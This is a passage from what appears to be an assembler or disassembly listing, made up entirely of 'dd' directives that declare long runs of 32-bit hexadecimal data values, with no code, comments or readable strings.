93DC66F1h dd 0EEB2000Fh, 0D93AB674h, 5A006301h, 5762F080h, 0E61F0954h dd 106F3CA1h, 1D13991Eh, 350DFB8h, 91521A24h, 0C575C0F5h dd 7407E6B1h, 9F8BDE0Eh, 9A155470h, 0EF630265h, 82084D01h dd 3EAAECC0h, 0CFE9B50Eh, 70C04129h, 1065961Bh, 16E2BECh dd 1C3A40ADh, 8BBCD784h, 64693918h, 0D1CCB100h, 734318F7h dd 0E965035Ch, 8F0B3C08h, 4C8C4873h, 270AD766h, 9124E0B5h dd 1E6401F6h, 92290C7Eh, 96CF13F8h, 0DEF140C0h, 0B105639Bh dd 2555081Bh, 0C0F04F4h, 9C1FA628h, 1A5AEA10h, 1088BC22h dd 1B09A220h, 4D76F2D6h, 5913E068h, 0CE25EADCh, 8FC820E9h dd 7DAFEBB8h, 0A3400DFh, 2CE7DE6Dh, 0D4D9E8Ch, 3E620380h dd 9B0204Dh, 0E75F1799h, 5DEED844h, 0C0A7C532h, 8F66E11Fh dd 32C07C40h, 13209E60h, 0B2AC0ECEh, 762D2710h, 4E640064h dd 8C23080Bh, 0B0027A4Ah, 0AF947785h, 0B3C9588h, 0E35E8C7Ah dd 0E082FCDCh, 7E193090h, 4D27D613h, 36F0038h, 0DAFD7E51h dd 12D44407h, 1023202Eh, 0CB147607h, 11EB3010h, 0ED9E041Dh dd 0D093C799h, 373588FCh, 1EA6640Eh, 0D9CEC3D7h, 0A2940216h dd 0D01C9448h, 0A4647851h, 82BE6945h, 462B9F2Ch, 0B43FF834h dd 0B6CB8938h, 848554E4h, 0E76011C4h, 810E4610h, 0E4748529h dd 0CF5DFD86h, 1367AB80h, 4B5280F3h, 5D0B1D7Ch, 0A093C44Ah dd 0AEFC05A4h, 2CBB1Eh, 1C36CBCCh, 0B4B92A8Bh, 0CBB4E760h dd 22670033h, 0E2A6C9EBh, 83E9C793h, 0CA319921h, 9CF1AF23h dd 42601F10h, 219A60C8h, 7E560BF8h, 0A54E7900h, 3427E1F5h dd 4B0B67Dh, 1D02E71h, 518BFDDFh, 0B68DAC64h, 13474244h dd 8CB3B020h, 0BAA0211h, 0D0F6FD15h, 1C90A880h, 8F09F24h dd 4423D825h, 9AD70060h, 0CCC9A4FAh, 5700C0CAh, 58707EECh dd 33602h, 0DF4D2432h, 189B1FC7h, 73772016h, 0D43858C9h dd 0AB9627C1h, 9CC004BCh, 246C13CEh, 0A6B8F4AAh, 17C18470h dd 2E48392h, 1E84F3ACh, 0F4AEC6E4h, 0C53CE02h, 0E5AD00F7h dd 6858A78Eh, 40E9611Ch, 98782282h, 0C0FD8198h, 253E58B1h dd 111017FCh, 0C6A18098h, 2FD830FEh, 9C972103h, 46810311h dd 60B3A8CFh, 570B05ECh, 90F37589h, 4C7F5E50h, 0BE09B335h dd 3444FD6Bh, 60B0835Ah, 0BCEE001Bh, 8756CFA2h, 0AE05A57Ah dd 7EA5C31h, 79C6D8B1h, 8FDD91E8h, 0A010D234h, 0C89848B0h dd 8D8081D4h, 60668664h, 0E069E64h, 0DB480453h, 40750021h dd 0F7439446h, 2A01CAD9h, 609F2F80h, 86E0A58Fh, 20DB58CEh dd 38CF5E8h, 7547BC7Ah, 1900FC86h, 8973DAB8h, 3BC098h dd 11548EA1h, 0E86F7A7Dh, 0C0781225h, 59B2130h, 7E4C26C0h dd 7B94A0F7h, 0BDCA09Ch dd 70753A37h, 0B460106Dh, 11A6825Dh, 22C01F83h, 0F8EE00E5h dd 4BB49A5Fh, 1E322B3Ch, 71423CB9h, 0FE4F7198h, 93F9AC19h dd 4B2BA820h, 242C22A0h, 620D1331h, 3010E20Ch, 0CB015CEAh dd 92D22A41h, 94509DC7h, 1E800B96h, 434D8DD8h, 0E7235201h dd 0E06A69A0h, 4C0DCC00h, 0BEDF1D5Fh, 21EA251Ah, 7FBE6865h dd 0B020CE4Ah, 59FB50h, 0D85A07F3h, 0F61882Bh, 0CD1FD209h dd 0ABB4C1B6h, 0E908CA18h, 0C5F96866h, 14944051h, 0C3B7E9D3h dd 38DC194Dh, 68896387h, 9866C87Ch, 3CF001E5h, 0A0CD0D83h dd 78406A2Eh, 0D0046E20h, 12A49A50h, 0B003D692h, 0FD441A10h dd 31126547h, 72768025h, 490445A5h, 0D73310BAh, 0A4B994C4h dd 0AF05ACACh, 8DAA2AE4h, 0B31020E6h, 10071DBCh, 0FE6447C9h dd 0CB7316B4h, 0C0D888DCh, 204532DCh, 8409FF04h, 80B4D412h dd 6AB712BDh, 0F2FCE29Bh, 429930DCh, 837A0A00h, 47F0EED8h dd 8354BEF2h, 0A1264384h, 50D335D0h, 0F74574B8h, 0D6C81842h dd 0AC6A806Ch, 642C10B4h, 0BF4D3812h, 0D0D2285Ch, 25279CA0h dd 28E5E105h, 6F6395E4h, 2A934D88h, 10289E1Ah, 1E8D9E1h dd 0C5CDCFB6h, 226FD48Dh, 0B0624F2Ch, 0C821F719h, 741D1C32h dd 949C80BBh, 0F7D48211h, 8EDE1E3Ah, 6015A0C1h, 7EB7FD96h dd 0C1AE7301h, 1B084069h, 0DC2880h, 0DE10A81h, 17B1C7FEh dd 81224BC1h, 0D9682128h, 1E0068DCh, 0C219650Bh, 8073AD79h dd 833003A2h, 7FA7E244h, 6DF60002h, 8B9250FBh, 89EA472h dd 970A2808h, 3D5B063Ch, 74968098h, 2511465Eh, 1CD4C8D9h dd 27387366h, 180D41CFh, 402F2E69h, 0F007F623h, 0BB00687Dh dd 92C49D81h, 0CABD0FFCh, 584BF62Fh, 0F5990880h, 4B2574B4h dd 7D0E425h, 81973140h, 0C39E148Fh, 0F0097FA0h, 78EC5393h dd 50676760h, 40C8F5DAh, 6F07CEC0h, 3D49EFA2h, 80120494h dd 44E09B69h, 0BECB40B0h, 5ACF0712h, 92430E0h, 0FD200DDBh dd 39601C4Dh, 9C0DF8Ah, 0D74345D2h, 60BF8484h, 2322E9D6h dd 0F91BD968h, 0E9DF8021h, 3A0A0E6Dh, 8FE0D05Ch, 1A6560F4h dd 0B0325430h, 25BFFF73h, 30C7A264h, 3463F944h, 0F43FE8B1h dd 0E0339A3h, 0D8130873h, 7600B16h, 8040B7F5h, 0F4302A5Ch dd 0FE271837h, 3DA640ABh, 95AEB13Ah, 5E80B441h, 9123082Fh dd 84267301h, 80704D2Fh, 0A0741239h, 0C3683127h, 3013D765h dd 78B55677h, 0A8B25CD0h, 0B9213BD8h, 18117960h, 9FA203ACh dd 0A5F95598h, 0A45E36DAh, 218C079Eh, 282E8B8h, 0D7E17022h dd 0E446AFA7h, 67079246h, 0F527D07Eh, 80FCA2E0h, 0F27E1F65h dd 80AC99F0h, 0E5D31DE6h, 0E90673F6h, 0BC855B96h, 178881D0h dd 0E4077C24h, 799899FCh, 551889h, 1D9F138Ah, 0FA834B5Dh dd 22817205h, 0CC8299E1h, 242C20BCh, 20B28F14h, 683D9327h dd 491C265Ch, 6C4C980Eh, 7C356F10h, 41F92A30h, 6DEE1Dh dd 2D2042E9h, 0CA9F28A9h, 1F9E810Eh, 93FEE20Fh, 22244892h dd 3A9C41E4h, 5300606Eh, 676CC0CBh, 41EDF34h, 0AE00CE77h dd 0C8EB2FD0h, 2817124Ch, 80C8C520h, 0ABA94704h, 0AA6D9E0Eh dd 932A021Ch, 0EE2B412Dh, 0BCD08821h, 65790113h, 73C75CB1h dd 3730809Eh, 822CD7DEh, 77111112h, 28F2285Dh, 50CF2084h dd 0F018FB47h, 6BB0C0h, 4F5BB35Dh, 2027BBB6h, 0D7676107h dd 9493C278h, 8469056Dh, 83C4C3h, 0FB9FFF08h, 618A76C6h dd 0F4DCEA66h, 0A24F19E3h, 87A509ECh, 0EAEE2D21h, 86A1C17Eh dd 98C0F418h, 0A884007Eh, 3A5123C8h, 58C8A4B7h, 0EABDC0FAh dd 0BB46F479h, 36018E22h, 0AAA8EAB5h, 98FB3955h, 60C7FC17h dd 7A58219Fh, 0B1E27159h, 0A14A4C00h, 2033C434h, 0A4B40082h dd 48ACBFF4h, 0A330B56Dh, 4E7EE1A2h, 28120165h, 1FAF8251h dd 0B8089839h, 666121h, 469A065h, 57C00A23h, 0C42BB13Eh dd 0C0ED52ADh, 9F2D307Ch, 0FCF8E419h, 0F1B05250h, 6C224611h dd 0AF47710Eh, 526107D0h, 0B016A1B5h, 0A8960F39h, 0C380CE04h dd 6761BC7h, 0B959F00h, 0C02E37A6h, 29B1185Dh, 0BC3E31A7h dd 180D8F01h, 2A0CE83Ah, 5D01C1BEh, 9AC5C1B4h, 6318208Fh dd 5030B128h, 2D4C761Dh, 47676E03h, 48913B46h, 0D0B3FC80h dd 721F2CCCh, 0F15D7A02h, 49564E3Fh, 2D109B48h, 7A01087Bh dd 578EB969h, 4EC8E1BCh, 10F21293h, 88102677h, 0F9AE0B0Ah dd 2B44949Fh, 0A0183F23h, 0CB11AFA4h, 81C20EE3h, 8B652F14h dd 63DD0070h, 9F379B22h, 0B6058C90h, 81A82BC4h, 586AEC01h dd 3021A77Ch, 75E8F801h, 3B292000h, 71E33Eh, 2CDD9EB3h dd 5A29BE0h, 0DC7AD97h, 2AC840A0h, 0B3A18317h, 7B4CA350h dd 0A950EC24h, 23C24030h, 248949A4h, 0C4382828h, 237F7418h dd 0B821D46Ch, 40A008AEh, 24F8EDA6h, 46D7840h, 0B3E83069h dd 0ABD4889Bh, 0BBF82B01h, 2778DB97h, 2489AA0h, 3EEA5E46h dd 1C06153h, 0C0ABDC3h, 0ACA81FAEh, 21A12C42h, 0F0CC4C3Eh dd 0A265D56Fh, 80FF7E21h, 83072767h, 0BA1F793Fh, 21C07582h dd 7AE1FCDFh, 200A0342h, 911858F4h, 280BB81Ch, 4E7549h dd 0A7E02D68h, 98A4A33Fh, 58FD17B1h, 0C00CC592h, 42183E6Bh dd 9C8C1A48h, 5D9F2181h, 1180AA46h, 0B7B6764Bh, 990C62C4h dd 8632CA2h, 6B21C058h, 0D021B66Eh, 8211CE1Fh, 0D6A7F640h dd 12B92292h, 202A46A3h, 308C85A8h, 91C68077h, 579B0D5h dd 26B60391h, 0FC1DC008h, 2A01BD23h, 135CC71Bh, 0C440727Ch dd 0C0AE474Fh, 0D9E2CD79h, 7E0376C9h, 54E924B2h, 29680F56h dd 0B6CCC7B5h, 0D81CC228h, 39704765h, 0E21DCh, 4A28E1BBh dd 1E30FAC6h, 0B8C2B51Dh, 0B22C5905h, 0E201A41Dh, 0A9CA4775h dd 0B7B41888h, 617AD281h, 31F093BAh, 0E2A644C8h, 6437EB00h dd 0C430F4B6h, 58A68385h, 0C92A6F00h, 8801EC77h, 531D2810h dd 0A31F13D0h, 0F85021A0h, 0B12D137Bh, 80249567h, 31A0A88Ah dd 0F12800A1h, 0CBD587B8h, 7A0048CEh, 0BCF072CDh, 189CAD3Eh dd 306A36A1h, 0D00A325Eh, 0E714E498h, 5195C00h, 70243EDh dd 0BE458B67h, 9628B09Dh, 8A18BF6Dh, 0BD2033B8h, 0BC04007Fh dd 323752F0h, 9650B798h, 0A100DACCh, 0CAEFD1E7h, 7F7535h dd 0FF6852BCh, 300254ECh, 0E91CC100h, 0B1C31126h, 231F06D0h dd 58F82739h, 36220400h, 0D2F00B5Dh, 8D9A0092h, 535ED6C8h dd 721D877Fh, 144337F7h, 8F968A97h, 38ABEE90h, 403F0184h dd 17ECCB54h, 3B0DF035h, 9C715C03h, 9E94AD79h, 73ED3860h dd 3F8BE681h, 0C4A37583h, 0FC00D9D4h, 0DAF86A34h, 0AB29669h dd 0AC83E78h, 0C0161CD7h, 57E8C37Ch, 8107F7A3h, 0DA48947Fh dd 2551930h, 0FA73F5h, 0A33D25A8h, 54EFBBC0h, 581D40DFh dd 660835C6h, 9E910681h, 203F1883h, 735BB518h, 64318h dd 480E9C13h, 9FAA889Dh, 5520621Eh, 0C04E174Eh, 0CE727DA9h dd 0F00460D3h, 450227E5h, 1C7A58C7h, 0FEC4EB50h, 9B500097h dd 56AA5F0Ah, 7D0037C7h, 0BFC957C1h, 0BD55B9h, 0B66A5EEEh dd 7A06C3B8h, 87FF5098h, 73C16D28h, 4FA0D1D0h, 598C03F2h dd 204BAD78h, 55D22000h, 24E522C0h, 49D600D3h, 6691D5BCh dd 0C4007B2Bh, 29D9843Dh, 1D36E3F5h, 0E2875F9h, 5B807621h dd 79C90B10h, 3B1E292Ch, 0CDF9173Ah, 4DFF01BEh, 0E04C9144h dd 661E3DB3h, 5B01A1CFh, 0ACD073EFh, 10809EE9h, 0B36417E7h dd 8E01F219h, 0F35556Dh, 90870CE5h, 10BB6B1Dh, 7A718F2Dh dd 0CE89A100h, 37C8D143h dd 0F50C0028h, 1E97CBA8h, 0C37A14B0h, 7DC4D70Eh, 72DA860Dh dd 8C2F7E11h, 0BD0FB902h, 29A4E0h, 0D1AB0CBAh, 0D27A41C6h dd 47D5360h, 0D0B0AA0Ch, 0C9712C10h, 21D67530h, 0BF61E72h dd 0D35B4B18h, 80BBB06h, 9421FA60h, 196F61Fh, 0C1DBACF2h dd 887F4D01h, 0B8A3E469h, 0C3735103h, 2F989384h, 0B5073D0Eh dd 2C8E6D3Bh, 973231D0h, 0AAED1839h, 0BF2899CCh, 4FB95101h dd 47D6EE75h, 21E00998h, 5007C708h, 0DEAFA2FBh, 9C029010h dd 8504289Dh, 11C37474h, 91CF58h, 0C18DBADDh, 192D960Bh dd 895F233h, 0BD2180D9h, 0DC898DC2h, 88E60025h, 821E4BA6h dd 176358ADh, 6BEF79h, 0A2E99461h, 0F58249C9h, 9B09B5EAh dd 802F5514h, 7887388Ch, 7A430379h, 7C671365h, 0F9FF3AA0h dd 6F077205h, 7820BF39h, 101F520Dh, 0B0F16550h, 152150Ah dd 0C944984Bh, 0BA89F09Ch, 0BB368089h, 7BC265B0h, 0ED1B0134h dd 0E8ECC95Ah, 0F4A0C398h, 710A9012h, 8856D2C8h, 0BB8DBCC0h dd 2CC6210Bh, 0CB00D891h, 0A8A08DC3h, 8CE013C5h, 7C9E4A02h dd 3C8F952h, 0A1001DAFh, 0A72B6DF8h, 4D5DCh, 0CC3A4AEFh dd 7836ACFEh, 6335E900h, 8A02570Ah, 6ED80A79h, 0C0801639h dd 501E51C0h, 0B874D43h, 280DE0C8h, 0F700E111h, 0CA69F671h dd 978B33Bh, 0F4B81A97h, 2BC3A025h, 7F2374h, 68869BC7h dd 0ED60AE19h, 5E4ED2E1h, 54330412h, 80A063EAh, 0D04FAD30h dd 0EB1921C3h, 9A490673h, 183651ACh, 0C74949C4h, 29130054h dd 0AF604907h, 0B5D82810h, 1C26D100h, 68D51FA5h, 8A100323h dd 0A64994BCh, 7078B8C0h, 0BE631974h, 3AA69h, 6F539A49h dd 0C435A654h, 60CC7B0Fh, 0C3EF206Eh, 2D39741h, 0BB7D51CAh dd 0F84833F0h, 2500CFD7h, 76C70423h, 74D1ACCCh, 2824FD75h dd 25170078h, 0AF4BD93Bh, 0E1DFCDEEh, 6005F3CAh, 6E001811h dd 50CE6270h, 660B96BBh, 876C68DDh, 6500E7BDh, 3AAC3904h dd 316A4D4Bh, 0E3465EF4h, 716CDD00h, 694499EAh, 86D45D01h dd 0E6FF1E5Eh, 0E3F22823h, 2CF230h, 0CC31F965h, 87D74613h dd 52F51900h, 333C15D8h, 0AA350901h, 909FC7DEh, 0C180FF11h dd 4A381841h, 351C8B70h, 68ECCD10h, 0BE048F11h, 0D1ABEA52h dd 484CAD60h, 6E54EFB0h, 4100B4CCh, 5D8BE411h, 180BE53Eh dd 2959AFE6h, 0D441EF19h, 321DE0h, 33C52668h, 6DB4604Eh dd 88804B24h, 29ADE48Ch, 1EEF2E2h, 0D3ACC6BFh, 0F4138E67h dd 0E100DDF6h, 0E36FFD3Ah, 0C8A660E9h, 23C0C8F8h, 214BCFF6h dd 898D573h, 5C8BD1h, 6C015F6h, 0C6FF0A5Bh, 7C91D4A6h dd 2A191B71h, 28249F13h, 0C96A2680h, 48130E97h, 298047A6h dd 4D6C41CCh, 0DFD4AB03h, 2392ED71h, 0C820BCB8h, 134BBB16h dd 976838h, 1F7EF658h, 6DAD5303h, 0D3C74642h, 0F64D816Eh dd 0DA9B70AEh, 0D5051E74h, 1D980D0Ch, 0E4CD24C0h, 4331C1A8h dd 0E03B565Dh, 9AE0203Ch, 70E3F7FAh, 0B78AD658h, 71218060h dd 7F7C48EBh, 8F65281Ch, 0CAAA6106h, 0A9F424D1h, 40840019h dd 55271E99h, 0D876E20Fh, 8ED958EFh, 7B9007AEh, 10BC0DA6h dd 0F2D527F0h, 0FAC2FCA7h, 0EBAF18C8h, 0E602B173h, 0AA937732h dd 0DD0C4806h, 436B004Ah, 0B9351453h, 0C002FCFh, 75A8B65Dh dd 4EF1FF6h, 19C213F1h, 0EDD0C8ACh, 7160C47Ch, 0B95823B1h dd 1C257CCAh, 40ACAB15h, 191669A7h, 85164FBAh, 80C32EEh dd 60AA4181h, 0FBDC8102h, 0E009223h, 7230633Fh, 0A4D045h dd 3DCCBD1Dh, 0B5C7F676h, 2C1A370Fh, 600200E9h, 693213h dd 0C2011419h, 72B9122Bh, 2D4CA998h, 0FCF400F4h, 0A8E89B70h dd 9F4B069h, 14166742h, 0EEF3C002h, 7315A482h, 11F62218h dd 88BB4B1Ch, 0B49894FBh, 6880013Bh, 543B284Fh, 3804122Fh dd 2979E350h, 3680C89Bh, 32341EE0h, 8017B038h, 2172B12Ah dd 0F6664A62h, 0BD4B162Fh, 0E3A01E33h, 0C8E1D07h, 192B3E12h dd 981413D3h, 115A68Dh, 55012FB1h, 913593C2h, 33805B48h dd 4E0C0A8Eh, 0E67A448Ch, 38DBB00h, 0CBC1323Ch, 0EEDA16FBh dd 6F5C5359h, 9720064h, 1B69A144h, 8CC502FBh, 1CAFEA86h dd 3F5CD200h, 36C5838h, 0E58B733Bh, 2C874CA1h, 17B9F014h dd 67E8E4FFh, 0DF0E8C93h, 0B729A452h, 0CF51D8D1h, 8BB61910h dd 801DD1CBh, 4FE3021Ch, 0A2853E03h, 7D50D705h, 196421C1h dd 1704C425h, 0E981458Ch, 4D8BFCC1h, 80B28D01h, 48014209h dd 0AAE47441h, 8083719Fh, 436AD5C2h, 2500D664h, 93560A31h dd 0B8527D92h, 0EFFE44C0h, 23418360h, 7220F836h, 0DE1B0094h dd 305A006h, 0EC0002E5h, 0CF6F8AAEh, 527D4B66h, 1D015CC5h dd 0F6EE6925h, 0C2000B75h, 452B25C4h, 0F03AE182h, 54DA92F8h dd 2AADD488h, 19CCBEEh, 133D7C68h, 22C8F867h, 0CEA8F71Ch dd 0F1104560h, 981C4281h, 6D45DAAAh, 9422884Ah, 0BB0D25ACh dd 0C242A480h, 0F7361EA4h, 0B446433Ah, 0E82368EEh, 251801C4h dd 58BF0426h, 79887BD0h, 0BC2500C0h, 0CFFB6F36h, 1B29E70Bh dd 0CB80CC34h, 3F18ED83h, 63C4389Ah, 449C3600h, 0BDF59EDBh dd 0E4CC7224h, 80D6C981h, 62CCE5F0h, 4D19048Fh, 0B1B8C1EAh dd 6CE4306Ch, 731779C4h, 7FACC8h, 0CA485EBDh, 0E89F6E90h dd 0F70C8900h, 0AE85CBDCh, 9EB5094Fh, 7C13AB18h, 0A1D1A9A8h dd 3B0FD7F4h, 0C0C7DB98h, 1931396Bh, 0A4FE17E0h, 2F800401h dd 7D7C8826h, 0C82CC839h, 7A9D10CCh, 88B80C94h, 24D8EC8Ch dd 409CEDADh, 38C31468h, 0DCFA4879h, 5E254898h, 0D5C42072h dd 991EF7h, 49A9E954h, 0D39C39C2h, 0D4F4CA3Fh, 67006FB4h dd 0DC1EC42Dh, 128DB154h, 802A6249h, 0A6C29E84h, 29D24A00h dd 91437455h, 0F08E0FD1h, 5E8C4F73h, 49F4CE29h, 6712C774h dd 58305633h, 0B14C016Dh, 0E417009Ch, 4AEA19BAh, 3997330Bh dd 14E030E2h, 5948B052h, 0E588E0ADh, 50BC0780h, 2DB7B2Dh dd 356A17F5h, 8890AFA8h, 100FADDh, 0A14D8FB1h, 79F954DBh dd 3EF8A872h, 0BC020006h, 0C0E4FA03h, 6A7D6C0Dh, 0C7139514h dd 5E6E00EFh, 0B7D93D18h, 6D7C1450h, 584CDF39h, 0E7531400h dd 0B8ADF217h, 2ABC1609h, 6ADC208Fh, 1DC93AB6h, 2AAC1794h dd 1DCE1CC0h, 0A6A6FAh, 8DAEBBCFh, 1C07B9F0h, 7F37C148h dd 703C5C41h, 0EAF4D4E8h, 4CB60394h, 0E00E1AD2h, 0E8B7DBA9h dd 0D2EFD49h, 0A02582F7h, 0E6291760h, 116F60EEh, 9209D368h dd 81487C70h, 25AE000Ch, 0DA91FC96h, 79D02C46h, 28C707A6h dd 0A5F88342h, 0E6FD1100h, 0D347B864h, 9C08E819h, 0C78E1D08h dd 0FADECF43h, 767504h, 0DA1386BDh, 14470D4Dh, 9E186360h dd 926D83h, 0BCAD28AAh, 6FCDA2Ch, 3185100h, 0C41F463Fh dd 413A0FE3h, 47E09675h, 0B2EB56ADh, 0BC0E8B60h, 15D3Fh dd 0BE7DFECDh, 61320F1Dh, 0F4413CA1h, 4C0066DDh, 44555D7Ah dd 0C7E1602Ah, 0B0FCEE20h, 49BB2905h, 0DB794C00h, 20BE0BE0h dd 36AEE47h, 5FE28B7Dh, 51006639h, 59B1C676h, 0F087465h dd 6DB7E6A1h, 97CB1B47h, 6953903Dh, 900B5A7Eh, 8C6AE1F7h dd 30B211BDh, 32883DFEh, 8DF213D9h, 0F40044F8h, 6BD6CD28h dd 60F29B8h, 5D936C5h, 1415203Ch, 1898D1B5h, 889408Fh dd 0A6BD00A3h, 0ED6432B0h, 0DB672907h, 709CA238h, 0DF25302Ah dd 0C53DBDE8h, 72E89D00h, 0DA982CA3h, 4E0D0CD9h, 68118E5Ah dd 1906502h, 0A91636D1h, 94103D4h, 0EFE1D0B2h, 9BAD1444h dd 0FB0FB8B9h, 65E7CDE6h dd 0C0C0C422h, 0A05FC857h, 4A917E05h, 7413F38Eh, 1C80918h dd 0B33C000Dh, 0D562E9FBh, 0DA098C0Ch, 0E42FB9h, 7AFAC714h dd 0B31400F7h, 0E970CE42h, 3F3C1ABEh, 254E8066h, 69EFC5D2h dd 0C11C0092h, 0F285826Eh, 0A3007DE0h, 0E36BDF88h, 1E3356BBh dd 30E17A8Ah, 0D22E1F18h, 202B3074h, 646E20C6h, 81012E68h dd 0D07E84E5h, 0C1EE2F25h, 56A32300h, 82892847h, 1F240086h dd 426E1EF5h, 2301A530h, 7004A7B0h, 620E7E71h, 28681281h dd 0C0794514h, 0D4343015h, 0A8072D7Bh, 3A17F876h, 88754490h dd 0FF2C0029h, 7B8327FCh, 942A5FEEh, 8C53481h, 8002C7BEh dd 35E05A87h, 0EF0A0A1h, 5AB71C8Dh, 40F58043h, 0AD3EEB19h dd 0C300254Dh, 0E7CE2Ah, 326CC710h, 248E5D40h, 0E092D802h dd 40416939h, 0F2CD2A10h, 0BC430650h, 283FC510h, 22D7E022h dd 71423B8Ch, 51372619h, 5C14424Ch, 88953510h, 0AC8B2968h dd 118A3821h, 86119499h, 0D934112Ch, 128C3211h, 4886123Dh dd 3045283Eh, 0FB6FCECh, 0FD60E6FFh, 518848E0h, 54079D2Dh dd 873B504Ah, 90A75633h, 13424E5Eh, 7640FEDh, 839D5F0Ah dd 10DE24ECh, 745C6800h, 8766B6CEh, 85FA0052h, 5E53A8BDh dd 0B7008EC4h, 0C6A34116h, 7829905h, 0E8AA08DDh, 92CE81DBh dd 46B8F3C9h, 34307023h, 0F4B130AFh, 581C0078h, 8BFFB47h dd 8F009907h, 1A4903EAh, 1E90EB6Ah, 21A4ECh, 44454EC0h dd 74004D12h, 0C90993D8h, 0F66B91h, 79A63742h, 19968695h dd 3DCECD00h, 0BD937DC2h, 42E44Eh, 0FDFAE82h, 0D4944F06h dd 3179A700h, 686DA0DEh, 0CF7C34h, 0E68D3776h, 62C4B804h dd 9C270900h, 0AD7BA185h, 3D5BE010h, 0F68F1B87h, 3F602FEEh dd 39D48BDh, 4B024Ch, 9F7FDAB4h, 0A15C70h, 5D142EF8h, 0CAD7BBA8h dd 0C6026D00h, 0B453ECE2h, 0F18D0086h, 4D684E22h, 611CE76Fh dd 1D807BB7h, 7A776B0h, 0BC163D47h, 9FB82083h, 0EE00DB5h dd 7A0083D1h, 0A15B3C88h, 1C7D3182h, 40444EAEh, 0D6345E1Ch dd 880052E1h, 0E4A17149h, 1C93277h, 0DCC6535Fh, 0CC585787h dd 0D13FD837h, 0BB1F0062h, 0DD2E6BC1h, 0CC0400A9h, 19A2B695h dd 9900096Eh, 21B9BAB4h, 8BC523h, 1220E80h, 0F2768F69h dd 0DA710504h, 0A7C0D4E9h, 0F69365h, 249237BEh, 390D8764h dd 5E54B500h, 6B19A338h, 0EE7A00F0h, 0D16E47E1h, 5BEAA2AAh dd 3903D090h, 0BEB2A8C0h, 45E3E9F6h, 138393F0h, 70F959Fh dd 219E8169h, 0FCD42144h, 39E8A5BDh, 0D2033B7Eh, 3264E38Bh dd 3DA68828h, 0ED680FA0h, 0B6F9CB7h, 815051A0h, 7DF80852h dd 0EB605500h, 7E10EF58h, 9D4E31F1h, 0F02DC830h, 46001129h dd 3256370Bh, 1DE185Dh, 220D8F87h, 20DABDCAh, 57E6E024h dd 42488201h, 24A03745h, 7BBF3E0h, 20ABB373h, 0DB8640E7h dd 0B00BD30h, 91686F4Fh, 13233EDh, 0EADD81E5h, 0F04DDC71h dd 8C7A1637h, 9FA414A0h, 51CEDD00h, 0EAEFE09Ah, 64E3AF6h dd 16FB3000h, 0AC0545EEh, 0D613A02h, 692719E7h, 0B1D07D74h dd 0F1B6007Eh, 0CA5B6C69h, 1A751D6Ah, 0F646710Dh, 84F9C0CBh dd 0EC2FA8C0h, 600A00C5h, 63BE44CEh, 4F02C087h, 590426F7h dd 0B9F8806Fh, 18F140h, 2C817DD4h, 3DE110CBh, 0A9580407h dd 73D2643Ah, 7B74407Fh, 32201FC2h, 0F6ED81A1h, 31CE8BCDh dd 0A99FF8C0h, 54958101h, 513D0B12h, 0F147C8h, 0B4CC226Bh dd 0C1D11423h, 198BB3Ah, 271A19Ch, 0CAD075A9h, 42EA24h dd 2251C60Fh, 6E729F76h, 8BAD0100h, 2BF8CA2Ah, 914E2671h dd 788C0234h, 0F040EB43h, 0E00A230h, 25892D02h, 341D5A3h dd 0CF29D00Fh, 97E3188Ch, 0D3F4CDE0h, 1242ED00h, 0F9A26B87h dd 6AD8384Bh, 390C0880h, 0CED77462h, 769BE13Ah, 3E003A90h dd 86DD1D67h, 0E2E9E5F0h, 95EB07C6h, 0CFB5D6B3h, 40C0753h dd 0F5CA0CFh, 1628F5A0h, 0BB00DEA5h, 6DDA9D05h, 0F8E728h dd 43DD5697h, 8747ECCCh, 89C4B500h, 916D6178h, 0D5963EE3h dd 0BAA77983h, 200388B1h, 0CE82BB32h, 0E73FF0BCh, 99B0038h dd 0B16ACC0Ah, 0FC00B828h, 39C8E02Ah, 7A233765h, 0E70C0056h dd 22BFCBAAh, 0DF3A731Fh, 1AEC0001h, 0F394749Ch, 89D01BEh dd 4E3516Fh, 0AD9EE0E4h, 0E59A4818h, 74E1B10h, 53D06601h dd 0B60723DAh, 6BA35880h, 0B9716503h, 0F8434EDDh, 54C8F0h dd 0D3B7E89Fh, 582A3CAh, 190ACD00h, 0C42763D5h, 0D8410096h dd 636453Dh, 860A146Bh, 0B2E168C0h, 1525F201h, 93D8B3BEh dd 0F68B006Ch, 3B47F6Eh, 90006D92h, 348A0425h, 7A1A011h dd 0F0445BC6h, 0A2B38019h, 0AE0064ABh, 0CA04E138h, 72683D86h dd 8ABE00BDh, 48B1900Dh, 0DD00E270h, 0EE65ED63h, 1C4E0556h dd 0B0FEFAh, 994BD96Ch, 0D73F2D1Ch, 0D0118088h, 3A12A976h dd 36BF001Dh, 681E739h, 4D075D8Ah, 0B9C250C7h, 806353B3h dd 1DD547Dh, 94ADF987h, 0C8C04473h, 56181EC9h, 2778DAACh dd 1CB403D7h, 0A7E66F4h, 0C4A671A8h, 6E684002h, 48D34994h dd 30A74CE8h, 0FE39840Eh, 0D200EEA4h, 58C9EC6Fh, 50B721h dd 2FB5B3F2h, 0B1A7A59Dh, 64FC071Ch, 0C2E84241h, 0DB61904Ah dd 4FDDC8h, 9EE78B54h, 6241FD70h, 0F003187Ah, 0D5F80350h dd 87A0CF28h, 186865CAh, 48F71ABCh, 9B0080E1h, 0EC7BEE6Eh dd 263D4C8Ah, 14461DBh, 39AB35F9h, 0AA20302Fh, 341FD900h dd 685E04E8h, 0E04B73E7h, 0DF0B1235h, 0FCD800B0h, 2B2A3940h dd 0B414F100h, 3C869F2Fh, 8B980001h, 0DA8DAF4h, 955CC745h dd 0C1CF030Dh, 0CB6223FFh, 0E4C40075h, 77B78A9Fh, 3E0016ADh dd 96B27C26h, 9A7130h, 79BEEC27h, 0AFADEB1Ah, 0AC6C4002h dd 0E0C58E08h, 0B94DC485h, 4CDF0368h, 3088B4FBh, 90A0AFC9h dd 7004A082h, 85E88938h, 0AB2394C0h, 0B2D9055Fh, 813C6DE6h dd 20A968A0h, 9A1F1424h, 52C0E45Ah, 0BD3887DAh, 86C0063h dd 760E5DCBh, 0A100FADFh, 8827CA78h, 648297h, 136B53EDh dd 0CFE42E03h, 0A7B49F00h, 29CCD8B8h, 3DEF212h, 0FE38D9Eh dd 0C1A851B7h, 3F035869h, 1A836CFDh, 57A3C2h, 0D10637FCh dd 1F7DF79Fh, 2F87D400h, 7CF2AACFh, 10F160F4h, 6084CC98h dd 0E2F070F7h, 0A8D60D30h, 6A200Ah, 35C129C0h, 8F17FF22h dd 15B65407h, 5CE09028h, 149B8CE8h, 9C866977h, 74BE900h dd 0BBD5763Bh, 19CAD630h, 87E53Fh, 